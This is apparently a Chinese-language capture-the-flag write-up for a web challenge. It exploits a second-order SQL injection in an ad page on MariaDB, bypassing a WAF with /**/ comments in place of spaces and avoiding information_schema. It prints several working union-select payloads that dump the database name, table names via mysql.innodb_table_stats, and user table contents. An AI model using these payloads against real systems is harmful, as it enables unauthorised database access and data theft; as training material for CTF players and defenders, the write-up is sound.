Web1

注册、登录、广告页面可能存在SQL注入。在广告页面使用

查看广告详情产生报错,由此推断此为SQL注入点。另外通过报错,可以知道这是MairaDB数据库。

初步判断是二次注入,且注入点在广告名(即ID中)。

尝试万能密码,发现存在waf。

尝试fuzz了一下,但是因为广告发布次数存在上限,所以fuzz效果不佳。

但是大概还是知道or被过滤了,所以order by 语句,information_schema不能使用了。

发现空格被正则,使用/**/绕过,剩下的就比较简单,爆列(22列,就尼玛离谱)其中2、3列回显。

-1'union/**/select/**/1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

爆库名:

-1'union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

来自官方对mysql.innodb_tables_stats的解释:

https://mariadb.com/kb/en/mysqlinnodb_table_stats/

参考博客:

https://www.v0n.top/2019/11/15/%E5%AF%B9%E4%B8%A4%E9%81%93CTF%E9%A2%98%E7%9B%AE%E7%9A%84%E8%A7%A3%E6%9E%90/

在mysql5.6以上的版本中,会在系统库MYSQL库中存在两张与innodb相关的表innodb_index_stats和innodb_table_stats。 其中innodb_index_stats存储的是innodb引擎的库名,表名及其对应的索引名称,也就是和information_schema.schemata差不多。 innodb_table_stats存储的是innodb引擎的库名和表名,也就是和information_schema.tables差不多。

-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

可惜用这种方法只能爆表名,不能爆列。

1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

子查询拿flag。

Last updated